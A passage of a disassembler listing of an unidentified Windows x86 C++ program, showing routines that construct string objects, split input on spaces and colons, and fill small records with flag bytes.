loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
